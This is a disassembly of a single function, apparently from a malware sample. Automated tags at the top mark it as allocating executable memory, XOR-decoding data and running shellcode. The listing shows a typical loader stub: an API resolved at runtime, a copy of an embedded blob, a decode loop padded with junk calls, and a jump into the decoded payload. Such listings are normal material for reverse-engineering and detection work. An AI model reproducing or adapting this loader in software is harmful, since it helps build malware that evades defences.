Function at 0x4589ac
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x458754
call fcn.004061a0
mov dword [0x45bc84], 0x8a58a
mov dword [0x45bc30], 0xe
push 0
call sub.user32.dll_GetDlgCtrlID
inc dword [0x45bc30]
cmp dword [0x45bc30], 0x530723
jne 0x4589d0
mov dword [0x45bc4c], 0xaa5f0
mov dword [0x45bc6c], esp
add dword [0x45bc6c], 0x40
mov dword [0x45bc70], ebp
add dword [0x45bc70], 0x20
lea ecx, [0x45b668]
mov eax, dword [ecx - 0x10]
mov dword [0x45bc78], eax
mov eax, dword [ecx - 0x14]
mov dword [0x45bc74], eax
push 0x458ccc
push 0xa
mov ecx, dword [0x45b668]
mov dl, 1
mov eax, dword [0x417f10]
call fcn.0041bfc0
mov dword [0x45bc38], eax
mov dword [0x45bc7c], 0x1001
mov dword [0x45bc80], 0x1579
push 0x458cfc
push 0x458d0c
call sub.kernel32.dll_GetModuleHandleW
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x45bc88], eax
mov dword [0x45bc8c], 0xffffffff
mov dword [0x45bc58], 0x85
mov eax, dword [0x45bc38]
mov edx, dword [eax]
call dword [edx]
mov dword [0x45bc90], eax
mov eax, dword [0x45bc80]
sub eax, 0x1539
push eax
mov eax, dword [0x45bc7c]
dec eax
push eax
mov eax, dword [0x45bc90]
add eax, dword [0x45bc58]
push eax
push 0
push 0xffffffffffffffff
call dword [0x45bc88]
mov dword [0x45bc3c], eax
mov eax, dword [0x45bc80]
sub eax, 0x1539
push eax
mov eax, dword [0x45bc7c]
dec eax
push eax
mov eax, dword [0x45bc90]
add eax, dword [0x45bc58]
push eax
push 0
push 0xffffffffffffffff
call dword [0x45bc88]
mov dword [0x45bc44], eax
mov edx, dword [0x45bc90]
mov eax, dword [0x45bc44]
call fcn.00406c48
mov eax, dword [0x45bc38]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x45bc3c]
mov eax, dword [0x45bc38]
call fcn.0041b95c
mov eax, dword [0x45bc3c]
mov eax, dword [eax]
mov dword [0x45bc48], eax
mov eax, dword [0x45bc3c]
add eax, 4
mov dword [0x45bc3c], eax
mov eax, dword [0x45bc44]
mov dword [0x45bc40], eax
mov eax, dword [0x45bc40]
sub eax, 4
mov dword [0x45bc40], eax
xor eax, eax
mov dword [0x45bc64], eax
xor eax, eax
mov dword [0x45bc68], eax
mov dword [0x45bc54], 0xc833
mov dword [0x45bc5c], 0xb7
mov eax, dword [0x45bc38]
mov edx, dword [eax]
call dword [edx]
mov dword [0x45bc60], eax
xor eax, eax
mov dword [0x45bc30], eax
mov eax, dword [0x45bc64]
cmp eax, dword [0x45bc60]
jae 0x458bd5
mov edx, dword [0x45bc3c]
add edx, dword [0x45bc64]
add edx, dword [0x45bc30]
mov eax, dword [0x45bc44]
add eax, dword [0x45bc68]
mov ecx, dword [0x45bc58]
call fcn.00406c40
mov eax, dword [0x45bc58]
add dword [0x45bc68], eax
mov eax, dword [0x45bc58]
add dword [0x45bc64], eax
mov eax, dword [0x45bc5c]
add dword [0x45bc64], eax
jmp 0x458b7d
xor eax, eax
mov dword [0x45bc30], eax
mov eax, dword [0x45bc30]
cmp eax, dword [0x45bc48]
jae 0x458c66
mov eax, dword [0x45bc30]
add eax, dword [0x45bc84]
mov dword [0x45bc34], eax
mov eax, dword [0x45bc30]
mov edx, dword [0x45bc44]
add dword [edx], eax
mov eax, dword [0x45bc54]
add eax, dword [0x45bc34]
mov edx, dword [0x45bc44]
xor dword [edx], eax
add dword [0x45bc30], 4
add dword [0x45bc44], 4
push 0x458d0c
call sub.kernel32.dll_GetModuleHandleW
push 0x458d0c
call sub.kernel32.dll_GetModuleHandleW
push 0x458d0c
call sub.kernel32.dll_GetModuleHandleW
push 0x458d0c
call sub.kernel32.dll_GetModuleHandleW
push 0x458d0c
call sub.kernel32.dll_GetModuleHandleW
mov eax, dword [0x45bc30]
cmp eax, dword [0x45bc48]
jb 0x458be9
mov eax, dword [0x45bc40]
add eax, dword [0x45bc4c]
sub eax, 0x1000
add eax, 4
mov dword [0x45bc50], eax
mov eax, 0xd
push dword [0x45bc6c]
mov eax, 0xe
push dword [0x45bc70]
mov eax, 0x9c
push dword [0x45bc74]
mov eax, 0x11
push dword [0x45bc78]
push dword [0x45b668]
mov eax, 1
push eax
jmp dword [0x45bc50]